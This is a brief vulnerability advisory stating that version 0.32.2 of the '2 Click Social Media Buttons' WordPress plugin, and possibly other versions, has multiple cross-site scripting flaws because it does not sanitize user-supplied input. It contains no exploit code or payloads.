2 Click Social Media Buttons Multiple Cross Site Scripting Vulnerabilities
The 2 Click Social Media Buttons plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

2 Click Social Media Buttons 0.32.2 is vulnerable; other versions may also be affected.
